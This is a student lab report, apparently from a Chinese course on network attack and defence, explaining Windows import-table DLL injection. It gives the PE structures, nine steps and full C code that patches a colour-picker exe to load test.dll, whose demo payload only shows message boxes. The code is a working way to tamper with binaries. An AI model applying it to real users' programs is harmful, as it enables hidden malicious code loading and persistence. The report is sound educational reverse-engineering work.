2019-2020-2 20174310《网络对抗技术》Exp1+ 逆向进阶
WINDOWS系统下
导入表注入原理及简单的代码实现
一、基础知识
1.注入的种类:
- 注册表注入
- 导入表注入 (本次实验内容)
- 特洛伊注入
- 远程线程注入
- 无DLL注入
- Apc 注入
- Windows挂钩注入DLL
- 输入法注入
2.导入表注入原理:
- 当Exe被加载时,系统会根据Exe导入表信息来加载需要用到的DLL,导入表注入的原理就是修改exe导入表,将自己的DLL添加到exe的导入表中,这样exe运行时可以将自己的DLL加载到exe的进程空间。
3.导入表注入实现步骤:
- 第一步:
- 根据目录项(第二个就是导入表)得到导入表信息:
- typedef struct _IMAGE_DATA_DIRECTORY {
- DWORD VirtualAddress;
- DWORD Size;
- } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
- VirtualAddress :指向导入表结构
- Size:导入表的总大小
- 这两个值都需要
- 第二步:
- typedef struct _IMAGE_IMPORT_DESCRIPTOR {
- union {
- DWORD Characteristics;
- DWORD OriginalFirstThunk;
- };
- DWORD TimeDateStamp;
- DWORD ForwarderChain;
- DWORD Name;
- DWORD FirstThunk;
- } IMAGE_IMPORT_DESCRIPTOR;
- typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
- 该图片在Excel中完成
- 新增一个导入表需要的空间:
- A:20字节
- B:16字节
- C:取决于DLL名串的长度+1
- D:取决于函数名的长度+1+2
- 判断哪一个节的空白区 > Size(原导入表的大小) + 20 + A + B + C + D
- 如果空间不够:可以将C/D 存储在其他的空白区
- 也就是,只要空白区 > Size + 0x20就可以了
- 如果仍然不够,就需要扩大最后一个节,或者新增节来解决.
- 第三步:
- 将原导入表全部Copy到空白区
- 第四步:
- 在新的导入表后面,追加一个导入表.
- 第五步:
- 追加8个字节的INT表 8个字节的IAT表
- 第六步:
- 追加一个IMAGE_IMPORT_BY_NAME 结构,前2个字节是0 后面是函数名称字符串
- 第七步:
- 将IMAGE_IMPORT_BY_NAME结构的RVA赋值给INT和IAT表中的第一项
- 第八步:
- 分配空间存储DLL名称字符串 并将该字符串的RVA赋值给Name属性
- 第九步:
- 修正IMAGE_DATA_DIRECTORY结构的VirtualAddress和Size
二、代码及其注释
******************************************************导入表注入的代码(在学习PE过程中写的代码,很多函数在前面的学习中写过,直接复制过来,可能代码看起来,结构设计不是特别好,但是功能是可以实现的)*******************************
#include "stdafx.h" #include <malloc.h> #include <string.h> typedef struct PE{//pe头中需要用的信息存储在pe结构体中 int e_lfanew; short NumberOfSections; short SizeOfOptionalHeader; int EntryPoint; int ImageBase ; int SectionAlignment ; int SizeOfImage; int FileAlignment; int SizeOfHeaders; }headers; typedef struct sec{// 节表中的一些需要用的信息 int PointerToRawData; int SizeOfRawData; int VirtualAddress; int VirtualSize; }section; typedef struct export{//导入表信息中需要用的信息 char* Name; int Base; int NumberOfFunctions; int NumberOfNames; int AddressOfFunctions; int AddressOfNames; int AddressOfNameOrdinals; char* Name_fun[20]; short ordinal[20]; int RVA[20]; }ex; ex export; headers headers_file; section sections; int flen; char* get_file(){//读入exe,这里用的是一个HTML取色器的简单软件 FILE* fp; char* p; fp = fopen("nMyGetColor.exe","rb"); if(fp == NULL){ printf("file error"); } fseek(fp,0L,SEEK_END); flen = ftell(fp); fseek(fp,0L,SEEK_SET); p = (char*)malloc(flen); fread(p,flen,1,fp); fclose(fp); return p; } char get_char_data(char* start,int distance){//三个辅助函数 char data = *(start+distance); return data; } short get_short_data(char* start,int distance){ short data =*(short*) (start+distance); return data; } int get_int_data(char* start,int distance){ int data =*(int*) (start+distance); return data; } void getInfo(char* start){//获取pe头的重要信息,存储到pe结构体中 headers_file.e_lfanew = get_int_data(start,60); start = start+headers_file.e_lfanew; headers_file.NumberOfSections = get_short_data(start,6); headers_file.SizeOfOptionalHeader = get_short_data(start,20); start = start+24; headers_file.EntryPoint = get_int_data(start,16); headers_file.ImageBase = get_int_data(start,28); headers_file.SectionAlignment = get_int_data(start,32); headers_file.SizeOfImage = get_int_data(start,56); headers_file.FileAlignment = get_int_data(start,36); headers_file.SizeOfHeaders = get_int_data(start,60); } int Rva_to_Foa(int virtualAddress,char* start){//把内存偏移转换为文件偏移 if(virtualAddress<headers_file.SizeOfHeaders){ return virtualAddress; } int fileAddress; int i; char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); sections.VirtualSize = get_int_data(start_section,8); int max; max = sections.VirtualSize>sections.SizeOfRawData?sections.VirtualSize:sections.SizeOfRawData; if(virtualAddress<sections.VirtualAddress+max){ //printf("%d",i); fileAddress = virtualAddress-sections.VirtualAddress+sections.PointerToRawData; /*printf("%x\n",sections.VirtualAddress); printf("%x\n",sections.PointerToRawData); printf("%x",fileAddress);*/ break; } start_section = start_section+40; } start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections+1;i++){ sections.PointerToRawData = get_int_data(start_section,20); //printf("\n%x\n",sections.PointerToRawData); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); //memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData); start_section = start_section+40; } return fileAddress; } char* memcopy_image(char* start_file){ char* start_image; start_image = (char*)malloc(headers_file.SizeOfImage); memset(start_image,0,headers_file.SizeOfImage); memcpy(start_image,start_file,headers_file.SizeOfHeaders); int i; char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); sections.VirtualSize = get_int_data(start_section,8); memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData); start_section = start_section+40; } return start_image; } char* add_section(char* start_image){ char* start_new_image; if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){ printf("space is not statific"); } else{ printf("space is statific"); start_new_image = (char*)malloc(headers_file.SizeOfImage+headers_file.SectionAlignment); memset(start_new_image,0,headers_file.SizeOfImage+headers_file.SectionAlignment); memcpy(start_new_image,start_image,headers_file.SizeOfImage); *(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1; *(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+headers_file.SectionAlignment; memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40); *(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a'; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = headers_file.SectionAlignment; //sections.VirtualSize = headers_file.SectionAlignment; if(sections.VirtualSize>sections.SizeOfRawData){ *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = sections.VirtualAddress+sections.VirtualSize; } else{ *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = sections.VirtualAddress+sections.SizeOfRawData; } //sections.VirtualAddress = sections.VirtualAddress+sections.VirtualSize; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) = headers_file.FileAlignment; //sections.SizeOfRawData = headers_file.FileAlignment; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData; if(sections.VirtualSize>sections.SizeOfRawData){ sections.VirtualAddress = sections.VirtualAddress+sections.VirtualSize; } else{ sections.VirtualAddress = sections.VirtualAddress+sections.SizeOfRawData; } sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData; sections.VirtualSize = headers_file.SectionAlignment; sections.SizeOfRawData = headers_file.FileAlignment; } return start_new_image; } char* memcopy_file(char* start_image){ char* start_file; start_file = (char*)malloc(flen+headers_file.SectionAlignment); printf("%x",flen+headers_file.SectionAlignment); memset(start_file,0,flen+headers_file.SectionAlignment); memcpy(start_file,start_image,headers_file.SizeOfHeaders); int i; char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections+1;i++){ sections.PointerToRawData = get_int_data(start_section,20); printf("\n%x\n",sections.PointerToRawData); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData); start_section = start_section+40; } return start_file; } char* move_import(char* start){//最重要的函数,完成了导入表注入的主要功能,其余函数大多为辅助 int virtualAddress = get_int_data(start,headers_file.e_lfanew+128); int fileAddress = Rva_to_Foa(virtualAddress,start); printf("%x",sections.VirtualAddress); char* export_start; //printf("%x",fileAddress); export_start = start+fileAddress; int num=0; while(1){ int original_thunk = get_int_data(export_start,0); int Name = get_int_data(export_start,12); int first_thunk = get_int_data(export_start,16); if(original_thunk==0&&Name==0&&first_thunk==0){ break; } num++;//统计DLL的数量 export_start = export_start+20; } memcpy(start+sections.PointerToRawData,start+fileAddress,num*20); memcpy(export_start,export_start+num*20,20); *(int*)(start+headers_file.e_lfanew+128) = sections.VirtualAddress; *(int*)(start+headers_file.e_lfanew+132) = *(int*)(start+headers_file.e_lfanew+132)+20; *(int*)(start+sections.PointerToRawData+num*20) = sections.VirtualAddress+(num+2)*20; *(int*)(start+sections.PointerToRawData+num*20+12) = sections.VirtualAddress+(num+2)*20+8; *(int*)(start+sections.PointerToRawData+num*20+16) = sections.VirtualAddress+(num+2)*20+18; *(int*)(start+sections.PointerToRawData+(num+2)*20) = sections.VirtualAddress+(num+2)*20+26; char* name = "test.dll"; memcpy(start+sections.PointerToRawData+(num+2)*20+8,name,strlen(name)+1); *(int*)(start+sections.PointerToRawData+(num+2)*20+18) = sections.VirtualAddress+(num+2)*20+26; char* fun_name = "ExportFunction"; memcpy(start+sections.PointerToRawData+(num+2)*20+28,fun_name,strlen(fun_name)+1);//将原来的导入表通过memcpy到新的节中,并将INT和IAT都转入新的节中,并增加一个新的DLL return start; } void copy_file(char* start_file){ FILE* fp = fopen("20174310srq.exe","wb"); fwrite(start_file,flen+headers_file.SectionAlignment,1,fp); fclose(fp); } int main(int argc, char* argv[]) { char* start = get_file(); getInfo(start); char* start_image = memcopy_image(start); free(start); char* start_new_image = add_section(start_image); free(start_image); char* start_file = memcopy_file(start_new_image); char* move_start = move_import(start_file); copy_file(move_start); free(start_file); return 0; }
// : 一个简单的DLL,当往4GB虚拟空间上复制dll时会运行Init()函数,弹出一个简单的提示框,用来检验导入表注入是否成功 //
**********************************************************************************************mydll.cpp***********************************************************
// mydll.cpp: implementation of the mydll class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "mydll.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
void Init(){
MessageBox(0,"INIT","INIT",MB_OK);
}
void Destroy(){
MessageBox(0,"Destory","Destory",MB_OK);
}
void ExportFunction(){
MessageBox(0,"messagefunction","messagefunction",MB_OK);
}
****************************************************************************test.cpp***********************************************************
#include "stdafx.h"
#include "mydll.h"
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call){
case DLL_PROCESS_ATTACH:
Init();
break;
case DLL_PROCESS_DETACH:
Destroy();
break;
}
return TRUE;
}
三、结果展示
- 导入表注入后生成新的可执行文件为20174310srq.exe(test.dll必须放在项目的同目录下,否则找不到dll文件,无法成功注入)
- 双击运行便会首先出现提示框,然后软件正常运行
- 现在通过PE工具进行进一步检测
-
这是未进行注入的exe
-
这是注入后的exe
- 可以看到成功注入了test.dll,且API函数是 ExportFunction()
-
void ExportFunction(){
MessageBox(0,"messagefunction","messagefunction",MB_OK);
} - 在代码中可以看到
四、总结
- 这是一个非常简单的导入表注入,最近在学习win32的知识,打好逆向的基础知识,才能在以后达到一定程度